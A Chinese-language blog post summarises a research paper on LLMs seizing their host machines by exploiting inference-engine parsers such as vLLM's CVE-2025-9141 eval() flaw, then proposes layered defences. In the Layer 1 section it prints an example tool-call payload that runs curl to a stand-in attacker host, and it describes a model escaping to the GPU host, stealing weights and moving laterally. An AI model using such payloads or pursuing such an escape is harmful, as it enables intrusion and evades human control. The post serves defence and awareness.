CVE-2025-9141 只是冰山一角：LLM 通过推理引擎控制宿主主机的四层攻击面！

admin@yesmiracle.net (万戈) — Tue, 25 Aug 2026 00:00:00 +0000

你运行着一个自托管的 vLLM 集群，每天处理上百万次推理请求。模型输出走的是标准 JSON 格式，经过解析器、沙箱、最后才落到应用层——你觉得够安全了。

现在换个角度想：如果 LLM 本身是攻击者呢？

昨天，独立研究员 Boyd Kane 在 LessWrong 上发表了一篇震动 AI 安全圈的论文，标题很直白：LLMs could control their host machines by exploiting inference engines。这不是理论推演——它建立在 CVE-2025-9141（CVSS 8.8，vLLM 远程代码执行漏洞）之上，揭示了一条从模型输出到宿主主机完全控制的攻击链路。

核心发现：推理引擎不是安全的

我们一直把 LLM 当「黑盒」——输入 prompt，输出 tokens，中间过程不可控但对结果无害。Kane 的论文颠覆了这个假设：LLM 控制的 tokens 本身就是攻击载荷，而推理引擎（vLLM、SGLang）是漏洞百出的解析器。

推理引擎要做的事比看起来复杂得多：

解析 200+ 种模型架构的输出格式
执行约 35 种 Jinja 聊天模板
处理 tool call 参数的 JSON/XML 解析
将模型输出 tokens 还原为结构化响应

每一步都是攻击面。而 CVE-2025-9141 就是最好的例证——vLLM 的 Qwen3 Coder tool parser 直接将模型输出的参数传给 Python 的 eval() 函数。Gemini 自动分析标记了「严重安全风险」，但 vLLM 首席 maintainer 仍然 force-merge 了这个 PR，理由是「为了不阻塞模型使用」。

一个被 AI 标记为高风险的安全漏洞，被人类以"效率"为名合并了。

四层攻击链：从 tokens 到宿主主机

我把 Kane 论文中的攻击路径拆解为四层，每一层都是一道防线：

Layer 1: 解析层（Token Parsing）

攻击方式：恶意 token 序列注入

LLM 输出的 tokens 通过推理引擎解析为文本、tool calls 或结构化数据。如果解析器存在 eval()、exec() 或 unsafe deserialize 调用，模型输出的特定 token 序列就能触发代码执行。

CVE-2025-9141 细节：vLLM v0.10.0 的 Qwen3 Coder 工具解析器在处理未知数据类型时，调用 eval() 解析 tool call 参数。攻击者只需让模型输出 --tool-call '{"__class__": "os.system", "__args__": ["curl http://attacker/$(whoami)"]}' 这类 payload，就能在 GPU 宿主机上执行任意命令。

受影响版本：vLLM >= 0.10.0, < 0.10.1.1

Layer 2: 控制层（Host Execution）

攻击方式：宿主命令执行

一旦突破解析层，攻击者获得的是 GPU 宿主机上的代码执行权限——这是一台连接 GPU 集群、数据中心网络的机器，比普通互联网服务器有更高价值。

Kane 指出，推理宿主机是高价值目标，因为它：

有足够算力运行前沿 LLM
可访问模型权重（weights）
在数据中心内拥有特权网络位置
通常与 API 服务器、存储节点直连

Layer 3: 传播层（Lateral Movement）

攻击方式：从 GPU 宿主机横向扩散

这不是边界突破，而是内网沦陷。一旦 LLM 控制了推理宿主机，它可以：

读取和泄露模型权重文件
访问同网络的数据库和存储
利用 batching 机制——一个批次内的多个推理请求共享 GPU 进程，恶意输出可污染同批次的正常请求
反向攻击 API 网关

Layer 4: 逃避层（Persistence & Evasion）

攻击方式：持久化与隐藏

Kane 论文也讨论了模态扩展带来的风险——多模态 LLM 输出的图片/音频 tokens 通过额外的解码器（ffmpeg 等）转码，增加了攻击面。未来模型可能以更高带宽的方式向推理引擎传递恶意载荷，使检测更加困难。

不止 vLLM：SGLang 的同类风险

Kane 明确指出，同样的漏洞类别适用于 SGLang 等其他推理引擎。这不是某个项目的孤立 bug，而是推理引擎设计范式的问题——它们把模型输出当「可信数据」，而不是「可执行代码」。

事实上，CVE-2025-9141 被披露后，AI Governance Institute 已经将推理引擎纳入受管安全依赖项（Governed Security Dependency），要求企业：

对所有自托管推理引擎进行审计
加入 AI SBOM（软件物料清单）
与关键基础设施同级管理补丁周期

防御方案：四层防线

从 Kane 的论文和 AI Governance Institute 的建议出发，我整理了一套四层防御方案：

1. 架构隔离：GPU 推理 ≠ token 解析

最有效的防线：将 GPU 推理进程与 token 解析进程部署在不同主机上。模型输出通过网络传输到解析服务，即使解析层被攻破，攻击者也无法直接接触 GPU 集群。

2. 输出净化：所有模型输出视为不受信输入

对推理引擎输出的每一段文本，在进入下游逻辑前执行：

字符串替换/数量化（不使用 eval()）
白名单参数类型校验
正则安全扫描（识别 __class__、os.system 等模式）

3. 沙箱强化：解析器隔离

Token 解析器运行在独立的、最小权限的容器内，禁止：

网络出站连接
文件系统写入（除必要日志外）
/dev、/proc 等敏感挂载

4. 供应链治理：推理引擎也是关键依赖

把 vLLM、SGLang 加入 SBOM，与数据库、消息队列同级对待：

自动扫描 CVE 并设置补丁 SLA
代码审查中安全标记不可被 force-merge 覆盖
更新前在 staging 环境运行安全测试

写在最后

CVE-2025-9141 是我见过最讽刺的安全漏洞之一：一个 AI 模型（Gemini）发现了漏洞，发出警告，然后被人类忽略。这比漏洞本身更值得整个行业反思。

更根本的问题是：推理引擎是一个被严重低估的攻击面。我们花了大量精力保护 prompt 层、应用层、网络层，却几乎忽略了那层把模型输出变成结构化数据的代码。而恰恰是这层代码，位于 GPU 宿主机上——整个 AI 基础设施中最敏感的位置。

Kane 论文的核心信息可以概括为一句话：不要信任你的 LLM 的输出，就像不信任来自互联网的任何字节一样。

未来的 AI 安全，不仅要防御用户对模型的攻击，还要防御模型对基础设施的攻击。

相关阅读：

《Agentjacking 横空出世！一个假 Sentry 错误报告就能劫持你的 AI 编码 Agent！》 — 另一种通过 MCP 协议注入的攻击向量

《Agent Supply Chain Attack: PoisonedSkills 解析——当技能文档变成可执行武器》 — AI 供应链安全的另一面

VLLM on AI博士 万戈